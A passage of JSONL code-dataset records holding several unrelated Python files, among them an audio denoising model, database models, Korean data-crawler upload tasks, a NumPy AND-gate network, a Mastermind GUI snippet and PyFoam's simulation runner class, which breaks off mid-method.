torchaudio.load(file_path)\n if sr != 16000:\n audio = torchaudio.functional.resample(audio, sr, 16000)\n noisy = create_chunks(audio)\n from config import FRAME_LEN, HOP_LEN\n\n noisy = noisy.to(device)\n window = torch.hann_window(FRAME_LEN).to(noisy.device)\n noisy_dct = stdct(noisy, FRAME_LEN, HOP_LEN, window=window)\n mask = torch.nn.functional.tanh(self.forward(noisy_dct))\n recon = istdct(noisy_dct * mask, FRAME_LEN, HOP_LEN, window=window)\n recon = recon.to(\"cpu\")\n window = torch.ones(recon.shape[-1])\n clean = torch.zeros_like(audio)\n overlap = torch.zeros_like(audio)\n for i in range(recon.shape[0] - 1):\n clean[:, i * STRIDE : i * STRIDE + SLICE_LEN] += recon[i]\n overlap[:, i * STRIDE : i * STRIDE + SLICE_LEN] += window\n if (recon.shape[0] - 1) * STRIDE + SLICE_LEN < clean.shape[-1]:\n clean[:, (recon.shape[0] - 1) * STRIDE : (recon.shape[0] - 1) * STRIDE + SLICE_LEN] += recon[-1]\n overlap[:, (recon.shape[0] - 1) * STRIDE : (recon.shape[0] - 1) * STRIDE + SLICE_LEN] += window\n else:\n clean[:, -SLICE_LEN:] += recon[-1]\n overlap[:, -SLICE_LEN:] += window\n clean = clean / overlap\n if normalize:\n clean = clean / torch.max(torch.abs(clean))\n return clean\n","repo_name":"seastar105/DCTCRN","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6381,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"39348205557","text":"import json\n\nfrom datetime import datetime\nfrom app.models import db\n\nclass Client(db.Document):\n meta = {'collection': 'Client'}\n firstName = db.StringField(required=True)\n lastName = db.StringField(required=True)\n email = db.EmailField(required=True)\n creation = db.DateTimeField(required=True, default=datetime.now())\n\n @staticmethod\n def findAll():\n try:\n clients = Client.objects.all()\n results = []\n\n for client in clients:\n data = {}\n data['id'] = str(client.id)\n data['firstName'] = client.firstName\n data['lastName'] = client.lastName\n data['email'] = client.email\n data['creation'] = client.creation.strftime('%d/%m/%Y')\n\n results.append(data)\n \n except Exception as error:\n client = None\n\n return results\n\n @staticmethod\n def findById(id):\n try:\n client = Client.objects.get(id=id)\n\n data = {}\n data['id'] = str(client.id)\n data['firstName'] = client.firstName\n data['lastName'] = client.lastName\n data['email'] = client.email\n data['creation'] = client.creation.strftime('%d/%m/%Y')\n\n except Exception as error:\n client = None\n\n return data\n\n\n @staticmethod\n def create(body):\n try:\n client = Client.from_json(json.dumps(body), True)\n client.save()\n except Exception as error:\n print(error)\n client = None\n\n return client\n\n @staticmethod\n def update(id, body):\n try:\n updated = {\n \"count\": 0\n }\n\n client = Client.objects().get(id=id)\n\n if body[\"firstName\"]:\n client.firstName = body[\"firstName\"]\n updated[\"firstName\"] = \"updated\"\n updated[\"count\"] += 1\n\n if body[\"lastName\"]:\n client.lastName = body[\"lastName\"]\n updated[\"lastName\"] = \"lastName\"\n updated[\"count\"] += 1\n\n if body[\"email\"]:\n client.email = body[\"email\"] \n updated[\"email\"] = \"email\"\n updated[\"count\"] += 1\n\n client.save()\n\n except Exception as error:\n print(error)\n\n return updated\n \n @staticmethod\n def deleteClient(id):\n try:\n client = Client.objects().get(id=id)\n \n except Exception as error:\n client = None\n\n return client","repo_name":"JeremYnov/UF-Logiciel-2021","sub_path":"python/app/models/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":2625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25002892855","text":"from __future__ import absolute_import\r\n# from celery import shared_task\r\n# from celery.decorators import task\r\nfrom information.task_module.rescue_crawler import RescueCrawler\r\nfrom information.task_module.dart_crawler import DartUpdate\r\nfrom information.models import Rescue, Dart\r\nimport os\r\nimport time\r\nfrom datetime import datetime\r\n\r\ndef rescue_send(data):\r\n data['date'] = data['date'].apply(lambda x:str(x).replace('.','-'))\r\n rescue_list = []\r\n for i in range(data.shape[0]):\r\n date = data.loc[i,'date']\r\n area = data.loc[i,'area']\r\n case_num = data.loc[i,'case_num']\r\n company_name = data.loc[i,'company']\r\n court = data.loc[i,'court']\r\n subject = data.loc[i,'subject']\r\n category = data.loc[i,'company_category']\r\n contents = data.loc[i,'html']\r\n news_title = data.loc[i,'news_title']\r\n news_url = data.loc[i,'news_url']\r\n address = data.loc[i,'address2']\r\n ceo = data.loc[i,'ceo']\r\n if i % 200 == 0:\r\n print(date)\r\n print(address)\r\n rescue_obj = Rescue(date=date, area=area, case_num=case_num, company_name=company_name, \\\r\n court=court, subject=subject, category=category, contents=contents,\\\r\n news_title=news_title, news_url=news_url, address=address, ceo=ceo)\r\n rescue_list.append(rescue_obj)\r\n Rescue.objects.bulk_create(rescue_list)\r\n print('회생법인 업로드')\r\n\r\n\r\ndef dart_send(data):\r\n data['회사코드'] = data['회사코드'].apply(lambda x:str(x).zfill(6))\r\n dart_list = []\r\n for i in range(data.shape[0]):\r\n print(i)\r\n company_name = data.loc[i,'공시대상회사']\r\n ticker = data.loc[i,'회사코드']\r\n date = datetime.strptime(str(data.loc[i,'공시접수일자']), \"%Y%m%d\").date().strftime(\"%Y-%m-%d\")\r\n print(date)\r\n contents_cat = data.loc[i,'rpt_nm']\r\n another_name = data.loc[i,'타법인명']\r\n contents = data.loc[i,'문서내용']\r\n news_title = str(data.loc[i,'뉴스기사제목'])\r\n news_url = str(data.loc[i,'뉴스기사Url'])\r\n if news_url == 'nan':\r\n news_url = None\r\n dart_obj = Dart(company_name=company_name, ticker=ticker,\\\r\n date=date, another_name=another_name, contents=contents,\\\r\n contents_cat=contents_cat, news_title=news_title, news_url=news_url)\r\n dart_list.append(dart_obj)\r\n Dart.objects.bulk_create(dart_list)\r\n print('Dart 공시자료 업로드')\r\n\r\n\r\n\r\n# @shared_task\r\n# @task(name=\"rescue-send\")\r\ndef rescue_data_send():\r\n start_time = time.time()\r\n r = RescueCrawler()\r\n rescue_dart = r.rescue_crawling()\r\n rescue_dart.fillna('None', inplace=True)\r\n path = os.getcwd()\r\n rescue_dart.to_csv(path + '/information/task_module/backup/rescue/' + datetime.today().strftime(\"%Y%m%d\")+'_rescue_court.csv', encoding = \"utf-8-sig\", header=True, index=False)\r\n rescue_send(rescue_dart)\r\n end_time = time.time()\r\n return True, (end_time - start_time), \"Data send complete\"\r\n\r\n# @task(name=\"dart-send\")\r\ndef dart_data_send():\r\n start_time = time.time()\r\n du = DartUpdate()\r\n dart_result = du.make_dart_data()\r\n dart_result.fillna('None', inplace=True)\r\n path = os.getcwd()\r\n dart_result.to_csv(path + '/information/task_module/backup/rescue/' + datetime.today().strftime(\"%Y%m%d\")+'_dart.csv', encoding = \"utf-8-sig\", header=True, index=False)\r\n dart_send(dart_result)\r\n end_time = time.time()\r\n return True, (end_time - start_time), \"Data send complete\"","repo_name":"MH-Lee/sunbo_ubuntu","sub_path":"information/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72940501672","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nX_train=np.array([[0,0,1,1],[0,1,0,1]]) #size(2,4)\r\nY_train=np.array([[0,0,0,1]]) #(1,4)\r\ndef relu(x):\r\n y=np.maximum(0,x)\r\n return y\r\n\r\ndef reluDerivative(x):\r\n x[x<=0] = 0\r\n x[x>0] = 1\r\n return x\r\n\r\ndef sigmoid(x,deriv=False):\r\n if (deriv==True):\r\n return x*(1-x) ##sigmoid activation functions\r\n return 1/(1+np.exp(-x))\r\ndef tanhh(x,deriv=False):\r\n if (deriv==True):\r\n return 1-np.power(np.tanh(x),2)##tanh activation functions\r\n return np.tanh(x)\r\ndef model(X,Y,learning_rate=0.05,iteration=20000):\r\n np.random.seed(1)\r\n W0=np.random.randn(2,X.shape[0])*np.sqrt(1/2) # size=(2,2)\r\n W1=np.random.randn(12,2)*np.sqrt(1/2) # size=(12,2)\r\n W2=np.random.randn(1,12)*np.sqrt(1/12) # size=(1,12)\r\n b0=np.zeros((2,1))\r\n b1=np.zeros((12,1))\r\n b2=np.zeros((1,1))\r\n m=X.shape[1]\r\n cost=[]\r\n for j in range(iteration):\r\n Z0=np.dot(W0,X)+b0 #(2,4)\r\n A0=relu(Z0) #size(2,4)\r\n Z1=np.dot(W1,A0)+b1#(12,4)\r\n A1=tanhh(Z1,deriv=False) #(12,4)\r\n Z2=np.dot(W2,A1)+b2 # size(1,4)\r\n A2=sigmoid(Z2,deriv=False)#size(1,4) \r\n \r\n ## Calculate the error\r\n Cost=0.5*np.power(A2-Y,2)\r\n Error=A2-Y #Deriv Error\r\n dA2=Error #size(1,4)\r\n dZ2=dA2*(A2)*(1-A2) #size(1,4)\r\n dW2=(1/m)*np.dot(dZ2,np.transpose(A1))#size(1,12)\r\n db2=(1/m)*np.sum(dZ2,axis=1,keepdims=True) #size(1,1)\r\n dA1=np.dot(np.transpose(W2),dZ2) #size (12,4)\r\n dZ1=dA1*(1-np.power(A1,2)) #size (12,4)\r\n dW1=(1/m)*np.dot(dZ1,np.transpose(A0)) #(12,4)*(4,2)==(12,2)\r\n db1=(1/m)*np.sum(dZ1,axis=1,keepdims=True) \r\n dA0=np.dot(np.transpose(W1),dZ1) #(2,12)*(12,4)==(2,4)\r\n dZ0=dA0*reluDerivative(Z0)#(2,4)\r\n dW0=(1/m)*np.dot(dZ0,np.transpose(X))#(2,4)*(4,2)==(2,2)\r\n db0=(1/m)*np.sum(dZ0,axis=1,keepdims=True) #(2,1)\r\n \r\n W2=W2-(learning_rate)*dW2\r\n b2=b2-(learning_rate)*db2\r\n W1=W1-(learning_rate)*dW1\r\n b1=b1-(learning_rate)*db1\r\n W0=W0-(learning_rate)*dW0\r\n b0=b0-(learning_rate)*db0 \r\n cost.append(np.mean(np.abs(Cost)))\r\n \r\n \r\n \r\n if j%1000==0:\r\n print(f\"Estimated cost= {np.mean(np.abs(Cost))}\")\r\n \r\n plt.plot(cost)\r\n plt.ylabel(\"cost\")\r\n plt.xlabel(\"ëpochs (per 1000 iteration)\")\r\n plt.title(f\"Learning rate ={learning_rate}\")\r\n plt.show()\r\n return W2,b2,W1,b1,W0,b0\r\n\r\ndef predict(X_test,Y_test,W2,b2,W1,b1,W0,b0):\r\n m = X_test.shape[1]\r\n p = np.zeros((1,m), dtype = np.int)\r\n \r\n \r\n Z0=np.dot(W0,X_test)+b0 #(2,4)\r\n A0=relu(Z0) #size(2,4)\r\n Z1=np.dot(W1,A0)+b1#(12,4)\r\n A1=tanhh(Z1,deriv=False) #(12,4)\r\n Z2=np.dot(W2,A1)+b2 # size(1,4)\r\n A2=sigmoid(Z2,deriv=False)#size(1,4)\r\n \r\n print(A2)\r\n for i in range(0, A2.shape[1]):\r\n if A2[0,i] > 0.5:\r\n p[0,i] = 1\r\n else:\r\n p[0,i] = 0\r\n\r\n # print results\r\n print(\"Accuracy: \" + str(np.mean((p[0,:] == Y_test[0,:]))))\r\n \r\n\r\n # print results\r\n \r\n \r\n return p\r\n\r\n## Testing\r\nX_test=np.array([[0,1],[0,1]]) #size(2,1)``\r\nY_test=np.array([[0,1]]) #size(1,1)\r\nW2,b2,W1,b1,W0,b0=model(X_train,Y_train,learning_rate=0.05,iteration=200000)\r\npredict(X_train,Y_train,W2,b2,W1,b1,W0,b0)\r\n\r\n","repo_name":"Lim-Calculus/ANN-based-2-input-AND-gate","sub_path":"ANN as AND gate.py","file_name":"ANN as AND gate.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3988125970","text":"from random import randint\n\nfrom .models import *\n\n\ndef test_data(uniq_number, uniq_tag):\n while True:\n uniq_number_now = randint(100, 2500)\n if uniq_number_now in uniq_number:\n continue\n else:\n uniq_number.append(uniq_number_now)\n break\n\n while True:\n uniq_tag_now = randint(100, 2541)\n if uniq_tag_now in uniq_tag:\n continue\n else:\n uniq_tag.append(uniq_number_now)\n break\n data = Stigmas(\n type_id=[1, 2][randint(0, 1)],\n slug='',\n number=uniq_number_now,\n tag_number=str(uniq_tag_now),\n type_animal_id=[1, 2, 3][randint(0, 2)],\n sex_id=[1, 2][randint(0, 1)],\n the_pet=[True, False][randint(0, 1)],\n phone_number='+79' + str(randint(111111111, 999999999)),\n master=['Стеша', 'Гера', 'Оля', 'Какие-то волонтеры'][randint(0, 3)],\n description=['Подробное описание', 'Не подробное описание'][randint(0, 1)],\n author='testData',\n )\n\n return {'data': data, 'uniq_number': uniq_number, 'uniq_tag': uniq_tag}\n\n\ndef start_test_data():\n uniq_number = []\n uniq_tag = []\n for i in range(0, 2000):\n data = test_data(uniq_number=uniq_number, uniq_tag=uniq_tag)\n uniq_number = data['uniq_number']\n uniq_tag = data['uniq_tag']\n db_date = data['data']\n db_date.clean()\n db_date.save()\n","repo_name":"MrFakir/zoobase","sub_path":"zoobase/app/test_data.py","file_name":"test_data.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32407602148","text":"def select_un_joueur():\r\n global FRAME, CANVAS, board, response, NB_OF_GUESS, TMP, HEIGHT, NB_PLAYER\r\n NB_OF_GUESS = TMP\r\n HEIGHT = NB_OF_GUESS*55+70\r\n FRAME = tk.Toplevel(ROOT)\r\n instruction =tk.Label(FRAME, text=\"Essayer de trouver la combinaison choisie !\",fg=\"brown\")\r\n instruction_2 = tk.Label(FRAME, text=\" Pion blanc = bonne couleur, Pion noir = bien placé ET bonne couleur\",fg=\"brown\")\r\n instruction.pack()\r\n instruction_2.pack()\r\n CANVAS = tk.Canvas(FRAME, width=WIDTH, height=HEIGHT, highlightthickness=0,highlightbackground=\"black\", relief=tk.FLAT,bg='#8c582d',bd=0)\r\n CANVAS.pack()\r\n \r\n board, response = drawBoard()\r\n CANVAS.focus_set()\r\n userAction()\r\n CANVAS.bind(\"\", lambda _: initGame(board, response))\r\n\r\n\r\n\r\n\r\n#Voici le menu pour les deux joueurs , à l'inverse de celui pour un seul joueur \r\ndef select_deux_joueur():\r\n global FRAME, CANVAS, board, response, NB_OF_GUESS, HEIGHT, NB_PLAYER\r\n NB_PLAYER = 2\r\n NB_OF_GUESS = 1\r\n HEIGHT = NB_OF_GUESS*55+70\r\n FRAME = tk.Toplevel(ROOT)\r\n CANVAS = tk.Canvas(FRAME, width=WIDTH, height=HEIGHT, highlightthickness=0,highlightbackground=\"black\", relief=tk.FLAT,bg='#8c582d',bd=0)\r\n CANVAS.pack()\r\n board, response = drawBoard()\r\n CANVAS.focus_set()\r\n userAction()\r\n choix_joueur = tk.Label(FRAME, text=\"Choisser la combinaison\",fg='brown')\r\n choix_joueur.pack()\r\nROOT = tk.Tk()\r\nselection_joueur()\r\nROOT.mainloop()","repo_name":"uvsq22204797/Projet-Mastermind","sub_path":"masterminde regles + fonction joueurs.py","file_name":"masterminde regles + fonction joueurs.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"73285162793","text":"# ICE Revision: $Id$\n\"\"\"Run a OpenFOAM command\"\"\"\n\nimport sys\nimport string\nimport gzip\nfrom os import path\nfrom platform import uname\nfrom threading import Timer\nfrom time import time,asctime\nimport uuid\n\nfrom PyFoam.FoamInformation import oldAppConvention as oldApp\nfrom PyFoam.ThirdParty.six import print_\nimport PyFoam.Basics.FoamFileGenerator\nfrom PyFoam.Basics.DataStructures import makePrimitiveString\nfrom PyFoam.Basics.Utilities import rmtree\nfrom PyFoam.Basics.RunDatabase import RunDatabase\n\nif not 'curdir' in dir(path) or not 'sep' in dir(path):\n print_(\"Warning: Inserting symbols into os.path (Python-Version<2.3)\")\n path.curdir='.'\n path.sep ='/'\n\nfrom PyFoam.Execution.FoamThread import FoamThread\nfrom PyFoam.Infrastructure.FoamServer import FoamServer\nfrom PyFoam.Infrastructure.Logging import foamLogger\nfrom PyFoam.RunDictionary.SolutionDirectory import SolutionDirectory\nfrom PyFoam.RunDictionary.ParameterFile import ParameterFile\nfrom PyFoam.Error import warning,error,debug\nfrom PyFoam import configuration as config\n\ndef restoreControlDict(ctrl,runner):\n \"\"\"Timed function to avoid time-stamp-problems\"\"\"\n warning(\"Restoring the controlDict\")\n ctrl.restore()\n runner.controlDict=None\n\ndef calcLogname(logname,argv):\n if logname==None:\n return \"PyFoam.\"+path.basename(argv[0])\n else:\n return logname\n\ndef findRestartFiles(logfile,sol):\n isRestart=False\n restartnr=None\n restartName=None\n lastlog=None\n\n if path.exists(logfile) or path.exists(logfile+\".gz\"):\n ctrlDict=ParameterFile(path.join(sol.controlDict()),backup=False)\n if ctrlDict.readParameter(\"startFrom\")==\"latestTime\":\n if len(sol)>1:\n isRestart=True\n restartnr=0\n restartName=logfile+\".restart00\"\n lastlog=logfile\n\n while path.exists(restartName) or path.exists(restartName+\".gz\"):\n restartnr+=1\n lastlog=restartName\n restartName=logfile+\".restart%02d\" % restartnr\n\n return isRestart,restartnr,restartName,lastlog\n\nclass BasicRunner(object):\n \"\"\"Base class for the running of commands\n\n When the command is run the output is copied to a LogFile and\n (optionally) standard-out\n\n The argument list assumes for the first three elements the\n OpenFOAM-convention:\n\n \n\n The directory name for outputs is therefor created from and\n \n\n Provides some handle-methods that are to be overloaded for\n additional functionality\"\"\"\n\n def __init__(self,\n argv=None,\n silent=False,\n logname=None,\n compressLog=False,\n lam=None,\n server=False,\n restart=False,\n noLog=False,\n logTail=None,\n remark=None,\n jobId=None,\n parameters=None,\n writeState=True,\n echoCommandLine=None):\n \"\"\":param argv: list with the tokens that are the command line\n if not set the standard command line is used\n :param silent: if True no output is sent to stdout\n :param logname: name of the logfile\n :param compressLog: Compress the logfile into a gzip\n :param lam: Information about a parallel run\n :param server: Whether or not to start the network-server\n :type lam: PyFoam.Execution.ParallelExecution.LAMMachine\n :param noLog: Don't output a log file\n :param logTail: only the last lines of the log should be written\n :param remark: User defined remark about the job\n :param parameters: User defined dictionary with parameters for\n documentation purposes\n :param jobId: Job ID of the controlling system (Queueing system)\n :param writeState: Write the state to some files in the case\n :param echoCommandLine: Prefix that is printed with the command line. If unset nothing is printed\n \"\"\"\n\n if sys.version_info < (2,3):\n # Python 2.2 does not have the capabilities for the Server-Thread\n if server:\n warning(\"Can not start server-process because Python-Version is too old\")\n server=False\n\n if argv==None:\n self.argv=sys.argv[1:]\n else:\n self.argv=argv\n\n if oldApp():\n self.dir=path.join(self.argv[1],self.argv[2])\n if self.argv[2][-1]==path.sep:\n self.argv[2]=self.argv[2][:-1]\n else:\n self.dir=path.curdir\n if \"-case\" in self.argv:\n self.dir=self.argv[self.argv.index(\"-case\")+1]\n\n logname=calcLogname(logname,argv)\n\n try:\n sol=self.getSolutionDirectory()\n except OSError:\n e = sys.exc_info()[1] # compatible with 2.x and 3.x\n error(\"Solution directory\",self.dir,\"does not exist. No use running. Problem:\",e)\n\n self.echoCommandLine=echoCommandLine\n self.silent=silent\n self.lam=lam\n self.origArgv=self.argv\n self.writeState=writeState\n self.__lastLastSeenWrite=0\n self.__lastNowTimeWrite=0\n\n if self.lam!=None:\n self.argv=lam.buildMPIrun(self.argv)\n if config().getdebug(\"ParallelExecution\"):\n debug(\"Command line:\",\" \".join(self.argv))\n self.cmd=\" \".join(self.argv)\n foamLogger().info(\"Starting: \"+self.cmd+\" in \"+path.abspath(path.curdir))\n self.logFile=path.join(self.dir,logname+\".logfile\")\n\n isRestart,restartnr,restartName,lastlog=findRestartFiles(self.logFile,sol)\n\n if restartName:\n self.logFile=restartName\n\n if not isRestart:\n from os import unlink\n from glob import glob\n for g in glob(self.logFile+\".restart*\"):\n if path.isdir(g):\n rmtree(g)\n else:\n unlink(g)\n\n self.noLog=noLog\n self.logTail=logTail\n if self.logTail:\n if self.noLog:\n warning(\"Log tail\",self.logTail,\"and no-log specified. Using logTail\")\n self.noLog=True\n self.lastLines=[]\n\n self.compressLog=compressLog\n if self.compressLog:\n self.logFile+=\".gz\"\n\n self.fatalError=False\n self.fatalFPE=False\n self.fatalStackdump=False\n self.endSeen=False\n self.warnings=0\n self.started=False\n\n self.isRestarted=False\n if restart:\n self.controlDict=ParameterFile(path.join(self.dir,\"system\",\"controlDict\"),backup=True)\n self.controlDict.replaceParameter(\"startFrom\",\"latestTime\")\n self.isRestarted=True\n else:\n self.controlDict=None\n\n self.run=FoamThread(self.cmd,self)\n\n self.server=None\n if server:\n self.server=FoamServer(run=self.run,master=self)\n self.server.setDaemon(True)\n self.server.start()\n try:\n IP,PID,Port=self.server.info()\n f=open(path.join(self.dir,\"PyFoamServer.info\"),\"w\")\n print_(IP,PID,Port,file=f)\n f.close()\n except AttributeError:\n warning(\"There seems to be a problem with starting the server:\",self.server,\"with attributes\",dir(self.server))\n self.server=None\n\n self.createTime=None\n self.nowTime=None\n self.startTimestamp=time()\n\n self.stopMe=False\n self.writeRequested=False\n\n self.endTriggers=[]\n\n self.lastLogLineSeen=None\n self.lastTimeStepSeen=None\n\n self.remark=remark\n self.jobId=jobId\n\n self.data={\"lines\":0} # self.data={\"lines\":0L}\n self.data[RunDatabase.unique_id]=str(uuid.uuid1())\n self.data[\"logfile\"]=self.logFile\n self.data[\"casefullname\"]=path.abspath(self.dir)\n self.data[\"casename\"]=path.basename(path.abspath(self.dir))\n self.data[\"solver\"]=path.basename(self.argv[0])\n self.data[\"solverFull\"]=self.argv[0]\n self.data[\"commandLine\"]=self.cmd\n self.data[\"hostname\"]=uname()[1]\n if remark:\n self.data[\"remark\"]=remark\n else:\n self.data[\"remark\"]=\"No remark given\"\n if jobId:\n self.data[\"jobId\"]=jobId\n parameterFile=sol.getParametersFromFile()\n if len(parameterFile):\n self.data[\"parameters\"]={}\n for k,v in parameterFile.items():\n self.data[\"parameters\"][k]=makePrimitiveString(v)\n if parameters:\n if \"parameters\" not in self.data:\n self.data[\"parameters\"]={}\n self.data[\"parameters\"].update(parameters)\n self.data[\"starttime\"]=asctime()\n\n def appendTailLine(self,line):\n \"\"\"Append lines to the tail of the log\"\"\"\n if len(self.lastLines)>10*self.logTail:\n # truncate the lines, but not too often\n self.lastLines=self.lastLines[-self.logTail:]\n self.writeTailLog()\n\n self.lastLines.append(line+\"\\n\")\n\n def writeTailLog(self):\n \"\"\"Write the last lines to the log\"\"\"\n fh=open(self.logFile,\"w\")\n if len(self.lastLines)<=self.logTail:\n fh.writelines(self.lastLines)\n else:\n fh.writelines(self.lastLines[-self.logTail:])\n fh.close()\n\n def start(self):\n \"\"\"starts the command and stays with it till the end\"\"\"\n\n self.started=True\n if not self.noLog:\n if self.compressLog:\n fh=gzip.open(self.logFile,\"w\")\n else:\n fh=open(self.logFile,\"w\")\n\n self.startHandle()\n\n self.writeStartTime()\n self.writeTheState(\"Running\")\n\n check=BasicRunnerCheck()\n\n if self.echoCommandLine:\n print_(self.echoCommandLine+\" \"+\" \".join(self.argv))\n\n self.run.start()\n interrupted=False\n\n totalWarningLines=0\n addLinesToWarning=0\n collectWarnings=True\n\n while self.run.check():\n try:\n self.run.read()\n if not self.run.check():\n break\n\n line=self.run.getLine()\n\n if \"errorText\" in self.data:\n self.data[\"errorText\"]+=line+\"\\n\"\n\n if addLinesToWarning>0:\n self.data[\"warningText\"]+=line+\"\\n\"\n addLinesToWarning-=1\n totalWarningLines+=1\n if totalWarningLines>500:\n collectWarnings=False\n addLinesToWarning=0\n self.data[\"warningText\"]+=\"No more warnings added because limit of 500 lines exceeded\"\n self.data[\"lines\"]+=1\n self.lastLogLineSeen=time()\n self.writeLastSeen()\n\n tmp=check.getTime(line)\n if check.controlDictRead(line):\n if self.writeRequested:\n duration=config().getfloat(\"Execution\",\"controlDictRestoreWait\",default=30.)\n warning(\"Preparing to reset controlDict to old glory in\",duration,\"seconds\")\n Timer(duration,\n restoreControlDict,\n args=[self.controlDict,self]).start()\n self.writeRequested=False\n\n if tmp!=None:\n self.data[\"time\"]=tmp\n self.nowTime=tmp\n self.writeTheState(\"Running\",always=False)\n self.writeNowTime()\n self.lastTimeStepSeen=time()\n if self.createTime==None:\n # necessary because interFoam reports no creation time\n self.createTime=tmp\n try:\n self.data[\"stepNr\"]+=1\n except KeyError:\n self.data[\"stepNr\"]=1 # =1L\n\n self.data[\"lasttimesteptime\"]=asctime()\n\n tmp=check.getCreateTime(line)\n self.endSeen=check.endSeen\n if tmp!=None:\n self.createTime=tmp\n\n if not self.silent:\n try:\n print_(line)\n except IOError:\n e = sys.exc_info()[1] # compatible with 2.x and 3.x\n if e.errno!=32:\n raise e\n else:\n # Pipe was broken\n self.run.interrupt()\n\n if line.find(\"FOAM FATAL ERROR\")>=0 or line.find(\"FOAM FATAL IO ERROR\")>=0:\n self.fatalError=True\n self.data[\"errorText\"]=\"PyFoam found a Fatal Error \"\n if \"time\" in self.data:\n self.data[\"errorText\"]+=\"at time \"+str(self.data[\"time\"])+\"\\n\"\n else:\n self.data[\"errorText\"]+=\"before time started\\n\"\n self.data[\"errorText\"]+=\"\\n\"+line+\"\\n\"\n\n if line.find(\"Foam::sigFpe::sigFpeHandler\")>=0:\n self.fatalFPE=True\n if line.find(\"Foam::error::printStack\")>=0:\n self.fatalStackdump=True\n\n if self.fatalError and line!=\"\":\n foamLogger().error(line)\n\n if line.find(\"FOAM Warning\")>=0:\n self.warnings+=1\n try:\n self.data[\"warnings\"]+=1\n except KeyError:\n self.data[\"warnings\"]=1\n if collectWarnings:\n addLinesToWarning=20\n if not \"warningText\" in self.data:\n self.data[\"warningText\"]=\"\"\n else:\n self.data[\"warningText\"]+=(\"-\"*40)+\"\\n\"\n self.data[\"warningText\"]+=\"Warning found by PyFoam on line \"\n self.data[\"warningText\"]+=str(self.data[\"lines\"])+\" \"\n if \"time\" in self.data:\n self.data[\"warningText\"]+=\"at time \"+str(self.data[\"time\"])+\"\\n\"\n else:\n self.data[\"warningText\"]+=\"before time started\\n\"\n self.data[\"warningText\"]+=\"\\n\"+line+\"\\n\"\n\n if self.server!=None:\n self.server._insertLine(line)\n\n self.lineHandle(line)\n\n if not self.noLog:\n fh.write(line+\"\\n\")\n fh.flush()\n elif self.logTail:\n self.appendTailLine(line)\n\n except KeyboardInterrupt:\n e = sys.exc_info()[1] # compatible with 2.x and 3.x\n foamLogger().warning(\"Keyboard Interrupt\")\n self.run.interrupt()\n self.writeTheState(\"Interrupted\")\n self.data[\"keyboardInterrupt\"]=True\n interrupted=True\n\n if not \"keyboardInterrupt\" in self.data:\n self.data[\"keyboardInterrupt\"]=self.run.keyboardInterupted\n\n self.data[\"interrupted\"]=interrupted\n self.data[\"OK\"]=self.runOK()\n self.data[\"endSeen\"]=self.endSeen\n self.data[\"cpuTime\"]=self.run.cpuTime()\n self.data[\"cpuUserTime\"]=self.run.cpuUserTime()\n self.data[\"cpuSystemTime\"]=self.run.cpuSystemTime()\n self.data[\"wallTime\"]=self.run.wallTime()\n self.data[\"usedMemory\"]=self.run.usedMemory()\n self.data[\"endtime\"]=asctime()\n\n self.data[\"fatalError\"]=self.fatalError\n self.data[\"fatalFPE\"]=self.fatalFPE\n self.data[\"fatalStackdump\"]=self.fatalStackdump\n\n self.writeNowTime(force=True)\n\n self.stopHandle()\n\n if not interrupted:\n if self.endSeen:\n self.writeTheState(\"Finished - Ended\")\n else:\n self.writeTheState(\"Finished\")\n\n for t in self.endTriggers:\n t()\n\n if not self.noLog:\n fh.close()\n elif self.logTail:\n self.writeTailLog()\n\n if self.server!=None:\n self.server.deregister()\n self.server.kill()\n\n foamLogger().info(\"Finished\")\n\n return self.data\n\n def writeToStateFile(self,fName,message):\n \"\"\"Write a message to a state file\"\"\"\n if self.writeState:\n open(path.join(self.dir,\"PyFoamState.\"+fName),\"w\").write(message+\"\\n\")\n\n def writeStartTime(self):\n \"\"\"Write the real time the run was started at\"\"\"\n self.writeToStateFile(\"StartedAt\",asctime())\n\n def writeTheState(self,state,always=True):\n \"\"\"Write the current state the run is in\"\"\"\n if always or (time()-self.__lastLastSeenWrite)>9:\n self.writeToStateFile(\"TheState\",state)\n\n def writeLastSeen(self):\n if (time()-self.__lastLastSeenWrite)>10:\n self.writeToStateFile(\"LastOutputSeen\",asctime())\n self.__lastLastSeenWrite=time()\n\n def writeNowTime(self,force=False):\n if (time()-self.__lastNowTimeWrite)>10 or force:\n self.writeToStateFile(\"CurrentTime\",str(self.nowTime))\n self.__lastNowTimeWrite=time()\n\n def runOK(self):\n \"\"\"checks whether the run was successful\"\"\"\n if self.started:\n return not self.fatalError and not self.fatalFPE and not self.fatalStackdump # and self.run.getReturnCode()==0\n else:\n return False\n\n def startHandle(self):\n \"\"\"to be called before the program is started\"\"\"\n pass\n\n def _writeStopAt(self,value,message):\n \"\"\"Write stopAt to stop the run gracefully\"\"\"\n if not self.stopMe:\n self.stopMe=True\n if not self.isRestarted:\n if self.controlDict:\n warning(\"The controlDict has already been modified. Restoring will be problementic\")\n self.controlDict=ParameterFile(path.join(self.dir,\"system\",\"controlDict\"),backup=True)\n self.controlDict.replaceParameter(\"stopAt\",value)\n warning(message)\n\n def stopGracefully(self):\n \"\"\"Tells the runner to stop at the next convenient time\"\"\"\n self._writeStopAt(\"writeNow\",\"Stopping run and writting\")\n\n def stopAtNextWrite(self):\n \"\"\"Tells the runner to stop at the next write\"\"\"\n self._writeStopAt(\"nextWrite\",\"Stopping run at next write\")\n\n def stopWithoutWrite(self):\n \"\"\"Tells the runner to stop without writing\"\"\"\n self._writeStopAt(\"noWriteNow\",\"Stopping run without writing\")\n\n def writeResults(self):\n \"\"\"Writes the next possible time-step\"\"\"\n # warning(\"writeResult is not yet implemented\")\n if 